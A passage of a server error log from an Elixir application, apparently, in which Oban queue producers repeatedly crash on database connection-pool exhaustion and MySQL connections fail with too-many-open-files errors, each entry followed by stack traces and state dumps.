    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:11:00.243771Z], limit: 50, uuid: "daa3b6d8-5a07-436c-845e-18c77ffa878d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.243776Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50063>, refresh_timer: #Reference<0.2525715032.1068498948.50051>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:11:00.239576Z], limit: 3, uuid: "8131d9c9-af30-4386-9f44-eda4f4ac98a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.239582Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50064>, refresh_timer: #Reference<0.2525715032.1068498948.50016>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:11:00.238912Z], limit: 10, uuid: "4bfe89af-4f90-4aa1-951b-6177947fe84f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.238922Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50065>, refresh_timer: #Reference<0.2525715032.1121189889.163319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:11:00.240376Z], limit: 5, uuid: "87fc8c5a-fe34-44a7-a622-ec773cb33f76", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.240384Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50066>, refresh_timer: #Reference<0.2525715032.1121189889.163330>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:11:00.241046Z], limit: 5, uuid: "5c7b1f3c-e76d-42e5-85a5-c3253db61249", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.241053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50067>, refresh_timer: #Reference<0.2525715032.1077673987.25540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:11:00.239988Z], limit: 20, uuid: "506f2ef1-a369-43cc-9ebf-b6efc0be1041", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:00.239995Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50062>, refresh_timer: #Reference<0.2525715032.1068498948.50031>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:18.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:19.068000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:19.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:19.746000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:19.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:11:13.239481Z], limit: 5, uuid: "70621b38-29dc-4444-a0a9-9a80c3006c3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.239486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50216>, refresh_timer: #Reference<0.2525715032.1099431938.50178>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:11:13.239819Z], limit: 3, uuid: "c789c05d-ecf6-4b3b-833f-f22b5719d992", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.239824Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50218>, refresh_timer: #Reference<0.2525715032.1099431938.50195>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:11:13.241582Z], limit: 5, uuid: "97ce0d4c-766f-4b52-b0d0-21e9c741afcd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.241588Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163473>, refresh_timer: #Reference<0.2525715032.1068498948.50307>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
